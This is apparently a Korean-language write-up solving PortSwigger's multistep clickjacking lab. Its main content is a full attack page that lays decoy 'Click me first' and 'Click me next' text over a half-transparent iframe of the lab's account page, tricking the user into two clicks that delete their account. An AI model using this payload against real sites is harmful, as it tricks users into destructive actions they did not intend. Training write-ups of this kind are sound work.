Portsiwgger - Multistep clickjacking solution

이번 문제는 클릭재킹으로 보호하기 위해 확인 버튼이 생겼고 click me first와 click me next 문자를 통해 버튼을 두 번 누르게 만들어 계정을 삭제되게 만들면 된다.

 

사이트에 접속후 로그인을 하면 

 

계정 삭제 버튼이 보이고 

삭제버튼을 누르면 확인 절차가 하나 더 생겼다.

 

이번 문제는 뭐 다른 개념이나 기술이 필요 없이 그냥 click me next 문자만 더 추가해 주면 된다.

(하나씩 나타나야되는줄 알고 CSS 열심히 찾았는데....)

<style>
    iframe {
        position:relative;
        width:1700px;
        height: 900px;
        opacity: 0.5;
     }
    h1 {
        position:absolute;
        top:530px;
        left:320px;
        font-size:18;
    }
    h2 {
        position:absolute;
        top:320px;
        left:455px;
        font-size:18;
    }

</style>
<h1>Click me first</h1>
<h2>Click me next</h2>
<iframe src="https://0aa100b903df510a842d5075001100bc.web-security-academy.net/my-account" ></iframe>